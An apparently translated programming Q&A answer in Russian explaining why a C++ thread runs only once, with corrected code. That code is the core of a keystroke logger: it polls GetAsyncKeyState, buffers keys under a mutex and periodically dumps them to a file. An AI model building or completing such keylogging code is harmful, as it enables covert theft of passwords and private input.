функция WriteKeyStrokesToFile вызывается только один раз
Как и должно быть.Поток выполняет свою функцию только один раз.Когда функция завершается, все, поток завершен.Вы не можете перезапустить поток, все, что вы можете сделать, это создать новый поток.
почему поток работает только 1 раз, хотя он находится в бесконечном цикле while.
Потому что у вас вообще нет цикла внутри потока.У вас есть цикл в коде, который запускается вне потока и передает данные в поток.
Чтобы делать то, что вы хотите, просто добавьте цикл в вашу функцию WriteKeyStrokesToFile()
, чтобы она продолжала работать.И не создавайте новый поток на каждой итерации цикла, который выполняется вне потока.
std::string content = ""; // global
std::mutex content_mutex;
void WriteKeyStrokesToFile()
{
while (true) {
std::this_thread::sleep_for(std::chrono::seconds(60));
std::lock_guard<std::mutex> g(content_mutex);
//open file and upload content to file
content = ""; //empty the content
}
}
void AddKeyStroke(char keyStroke)
{
std::lock_guard<std::mutex> g(content_mutex);
content += keyStroke;
}
int main()
{
std::thread t(WriteKeyStrokesToFile);
while (true) {
for (keyStroke = 8; keyStroke < 190; keyStroke++) {
if (GetAsyncKeyState(keyStroke) & 0x0001) {
if (KeyIsSpecial(keyStroke) == false) {
AddKeyStroke(keyStroke);
std::cout << keyStroke;
}
}
}
}
t.join();
return 0;
}